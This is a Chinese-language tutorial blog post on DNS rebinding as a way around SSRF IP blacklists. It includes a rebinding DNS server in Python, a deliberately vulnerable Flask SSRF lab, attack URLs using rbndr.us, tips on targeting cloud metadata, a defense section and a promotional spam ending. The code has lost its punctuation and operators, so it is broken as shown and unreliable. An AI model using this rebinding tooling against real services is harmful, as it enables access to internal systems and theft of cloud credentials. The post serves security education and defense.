尧图精选

DNS 重绑定漏洞原理与 SSRF 绕过实战

🕒 发布时间:2026/10/1 6:49:25 📁 来源:尧图网络
DNS 重绑定漏洞原理与 SSRF 绕过实战前言免责声明本文所有内容仅用于安全学习、靶场复现严禁用于未经授权的系统测试。任何利用本文技术进行非法攻击造成的法律后果由行为人自行承担。SSRF服务端请求伪造是 Web 安全中非常经典的漏洞业务后端会根据用户传入的 URL 发起网络请求。为了修复 SSRF很多开发者会增加 IP 黑名单拦截127.0.0.1、192.168.0.0/16、10.0.0.0/8、云元数据地址169.254.169.254等内网 / 保留 IP 段。但很多过滤逻辑存在一个致命缺陷只在第一次 DNS 解析后校验 IP请求建立连接时不再二次校验解析后的 IP。而 DNS 重绑定DNS Rebinding就是利用这个时间差实现绕过 SSRF 的 IP 黑名单访问内网资源。DNS 重绑定最早是针对浏览器同源策略的攻击让前端 JS 访问内网设备而在 SSRF 场景下它演变成一种强大的绕过手段在攻防演练、漏洞挖掘中经常见到。一、什么是 DNS 重绑定DNS 重绑定简单一句话攻击者控制的 DNS 域名在不同时间查询返回不同 IP配合极短 TTL让目标服务器两次 DNS 解析拿到不一样的 IP 地址。TTLTime To Live是 DNS 记录缓存时间。把 TTL 设置为 0 或 1 秒意味着 DNS 解析结果不会被缓存每次查询域名都要重新向权威 DNS 服务器请求记录。攻击域名会配置两条 A 记录第一次 DNS 查询返回一个公网 IP攻击者自己的服务器 IP这个 IP 不在黑名单内顺利通过 SSRF 的 IP 过滤校验。第二次 DNS 查询返回内网 IP127.0.0.1、192.168.1.1、云元数据地址后端发起实际 HTTP 请求时再次解析域名拿到内网 IP发起对内网服务的访问。核心逻辑校验阶段看到公网 IP请求阶段拿到内网 IP校验和实际访问的 IP 不一致黑名单被绕过。很多业务 SSRF 防护代码是这样写的伪代码# 不安全的SSRF过滤示例 def ssrf_check(url): host get_host_from_url(url) ip socket.gethostbyname(host) # 第一次解析用于IP黑名单校验 if is_private_ip(ip): return False # 校验通过直接使用curl发起请求curl内部会再次解析域名 requests.get(url)问题就在这里socket.gethostbyname做第一次解析拿到公网 IP校验放行后面 requests 请求时再次 DNS 查询域名已经解析成内网 IP直接访问内网。这就是 DNS 重绑定绕过 SSRF 的经典场景。二、DNS 重绑定攻击完整流程准备受控域名 自建 DNS 服务器攻击者注册域名rebind-test.xxx.com将域名 NS 记录指向自己搭建的权威 DNS 服务器完全掌控域名解析结果。配置动态解析TTL0DNS 服务配置逻辑收到 DNS 查询请求第一次返回攻击者公网 IP短时间内再次查询返回内网 IP。TTL 设置为 0关闭缓存。提交 URL 到 SSRF 漏洞点将http://rebind-test.xxx.com提交给存在 SSRF 的后端接口。第一次 DNS 解析 IP 校验后端解析域名得到公网 IP判断不属于内网黑名单校验通过。后端发起 HTTP 请求触发第二次 DNS 解析后端开始建立 TCP 连接访问该域名因为 TTL0没有缓存重新向攻击者 DNS 发起解析。此时 DNS 服务器返回内网 IP。成功访问内网资源后端向内网 IP 发起 HTTP 请求读取内网接口、云元数据、本地服务等敏感内容SSRF 绕过成功。关键点两次 DNS 查询存在时间窗口。如果两次解析几乎同时发生有可能两次都拿到公网 IP攻击失败。所以实战中经常需要多次发包重试。三、DNS 重绑定和普通 SSRF 绕过的区别很多人会混淆 DNS 重绑定、域名直接解析内网 IP、302 重定向绕过这里做对比表格绕过方式原理局限域名直接解析内网 IP域名 A 记录直接写内网 IP后端一次解析就拿到内网 IP只要后端解析 IP 之后校验直接拦截很容易防护302 重定向绕过访问公网地址302 跳转内网地址很多 SSRF 防护会禁止跟随重定向或者跳转后二次校验 IPDNS 重绑定两次 DNS 解析返回不同 IP利用校验和请求的时间差防护难度更高很多开发只做单次 IP 校验容易中招但依赖 DNS 查询时序存在成功率问题DNS 重绑定最大优势URL 字符串里面没有任何内网 IPWAF、黑名单只对 URL 文本做匹配的情况下完全无法识别。四、实战环境搭建与复现实验环境本地靶场 SSRF 接口 自建 Python 简易 DNS 服务器 公网域名也可以使用 rbndr.us 这类现成 DNS 重绑定测试域名快速验证4.1 简易 DNS 重绑定服务Python下面是极简的 DNS 服务器代码基于dnslib实现交替返回公网 IP 和内网 IP。from dnslib import DNSRecord, RR, QTYPE, A, RCODE from dnslib.server import DNSServer, BaseResolver, DNSHandler, UDPServer # 配置 PUBLIC_IP 1.1.1.1 # 第一次返回的公网IP INNER_IP 127.0.0.1 # 第二次返回内网IP query_count 0 class RebindResolver(BaseResolver): def resolve(self, request, handler): global query_count reply request.reply() qname request.q.qname qtype QTYPE[request.q.qtype] if qtype A: query_count 1 if query_count %2 1: # 奇数查询返回公网IP reply.add_answer(RR(qname, QTYPE.A, rdataA(PUBLIC_IP), ttl0)) else: # 偶数查询返回内网IP reply.add_answer(RR(qname, QTYPE.A, rdataA(INNER_IP), ttl0)) else: reply.header.rcode RCODE.NXDOMAIN return reply if __name__ __main__: resolver RebindResolver() print(DNS Rebinding Server running on 0.0.0.0:53) DNSServer(resolver, port53, address0.0.0.0, serverUDPServer, handlerDNSHandler).start()启动命令pip install dnslib python dns_rebind_server.py注意53 端口需要 root 权限。把域名 NS 记录指向这台服务器的公网 IP域名查询就会由这个脚本处理。4.2 存在缺陷的 SSRF 靶场代码Python Flaskfrom flask import Flask,request import requests import socket app Flask(__name__) def is_private(ip): # 简单内网IP黑名单 private_prefix [127.,192.168.,10.,169.254.] for p in private_prefix: if ip.startswith(p): return True return False app.route(/ssrf) def ssrf(): url request.args.get(url) host url.split(//)[1].split(/)[0] ip socket.gethostbyname(host) if is_private(ip): return Blocked! Private IP # 校验通过直接发起请求requests内部会再次解析域名 res requests.get(url,timeout3) return res.text if __name__ __main__: app.run(host0.0.0.0,port8080)这个靶场就是典型的不安全实现只在解析 host 后校验一次 IP请求时不再校验存在 DNS 重绑定漏洞。4.3 攻击测试构造 URLhttp://rebind-test.xxx.com传入靶场接口http://127.0.0.1:8080/ssrf?urlhttp://rebind-test.xxx.com发包多次测试第一次解析rebind-test.xxx.com→1.1.1.1不在内网黑名单放行。requests 发起 http 请求再次 DNS 查询 → 返回127.0.0.1。后端访问本机服务读取本地页面内容攻击成功。实战坑点时序问题两次解析都返回公网 IP请求失败需要多次重放请求。DNS 缓存递归 DNS 会缓存记录TTL0 是必须配置。部分 http 库会复用 DNS 结果不会每次请求都重新解析会导致攻击无法触发。HTTPS 场景证书域名不匹配会直接抛出 SSL 错误DNS 重绑定在 HTTPS 场景下成功率大幅下降大多只能用于 HTTP 服务。4.4 现成测试域名 rbndr.us不想自建 DNS 服务器可以直接使用 rbndr.us 提供的 DNS 重绑定域名格式http://1p1p1p1.1270001.rbndr.us该域名会随机在1.1.1.1和127.0.0.1之间切换解析适合快速验证靶场是否存在 DNS 重绑定绕过风险。五、漏洞挖掘思路怎么判断目标是否可被 DNS 重绑定绕过找到 SSRF 功能点图片预览、URL 抓取、网页截图、元信息读取、远程资源导入这类输入 URL 的接口。先测试常规内网 IP payload看是否被拦截。使用 rbndr.us 域名进行测试多次提交观察是否能够读取内网内容。抓包看后端的 DNS 解析行为判断后端是否只校验一次 IP。注意区分有些后端会在每次连接前都重新解析并校验 IP这种场景 DNS 重绑定无法绕过。六、防御方案如何修复 SSRF抵御 DNS 重绑定很多人以为加 IP 黑名单就能防护 SSRF在 DNS 重绑定面前单次解析校验是无效的。正确防御思路如下1. 每次建立网络连接后校验最终连接的 IP最重要不要提前解析 IP 做一次性校验。发起网络请求建立 socket 连接之后拿到真实目标 IP再校验 IP 是否属于内网 / 保留地址段。无论 DNS 解析多少次最终连接 IP 必须做检查。2. 禁止跟随重定向或者每次重定向后重新校验 IP很多绕过依赖 30x 跳转关闭自动跟随重定向如果业务必须支持跳转每次跳转后的新 URL都要完整重新解析、校验 IP。3. 协议白名单限制仅允许 http/https禁用 file、gopher、dict 等危险协议很多 SSRF 危害来自非 HTTP 协议直接限制协议白名单缩小攻击面。4. 域名解析层面防护内网 DNS / 递归 DNS 配置策略禁止公网域名解析到内网私有 IP。企业内部递归解析器拦截外部域名返回内网 IP 的 DNS 响应。5. 网络层面限制出站访问服务器本身防火墙、安全组限制服务器出站不允许服务器访问内网网段就算 SSRF 被绕过也无法连通内网主机。6. 业务层面使用域名白名单如果业务只允许访问固定几个可信域名直接配置域名白名单拒绝用户可控的任意域名输入从源头杜绝 SSRF。❌ 错误的防御方式只对 URL 字符串正则匹配拦截内网 IPDNS 重绑定 URL 不带内网 IP完全绕过仅在第一次 DNS 解析后校验 IP后续请求不再校验DNS 重绑定经典绕过场景简单的黑名单只拦截 127.0.0.1漏掉其他保留网段七、攻防拓展与常见踩坑云环境元数据访问云服务器的元数据地址169.254.169.254是 SSRF 攻击的高价值目标。如果后端存在 DNS 重绑定漏洞攻击者可尝试通过该方式获取云服务器密钥、实例信息。云厂商元数据防护 IMDSv2 强制 token 校验可以有效缓解这类攻击。DNS 缓存干扰部分递归 DNS 不尊重 0 TTL会短暂缓存解析结果导致重绑定失效。这种情况可以换不同 DNS 服务器测试或者拉长两次请求的时间间隔。HTTP 客户端差异curl、requests、guzzle 等库 DNS 缓存行为不一样。部分语言的 HTTP 客户端会复用 DNS 解析结果不会每次请求重新查询 DNSDNS 重绑定很难触发。例如 Java 的 InetAddress 会缓存 DNS 解析需要特殊配置才能复现。浏览器端 DNS 重绑定和服务端 SSRF 重绑定的差异浏览器端 DNS 重绑定是绕过同源策略JS 在浏览器内发起请求访问内网而本文讲的是服务端 SSRF 场景攻击主体是后端服务器不是浏览器两者原理相通但攻击面不一样。现代浏览器引入 DNS pinning 机制对浏览器端 DNS 重绑定做了限制但服务器端没有这类保护所以 SSRF 场景 DNS 重绑定依然有效。八、总结DNS 重绑定的核心本质就是利用 DNS 动态解析 极短 TTL制造两次 DNS 查询结果不一致欺骗后端 SSRF 的单次 IP 校验逻辑。在漏洞挖掘和攻防演练中遇到 SSRF 接口常规 IP payload 被黑名单拦截之后DNS 重绑定是必须尝试的高级绕过手段。但同时也要清楚它的局限性时序依赖、HTTPS 证书限制、客户端 DNS 缓存等因素会影响成功率。防御的核心思想信任最终连接的 IP不信任第一次解析出来的 IP校验放在建立连接之后而不是解析域名的那一刻。再叠加网络层、协议白名单、域名白名单等多层防护才能彻底抵御 SSRF 与 DNS 重绑定这类绕过攻击。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
上一篇/下一篇内容由系统自动关联 返回资讯列表 →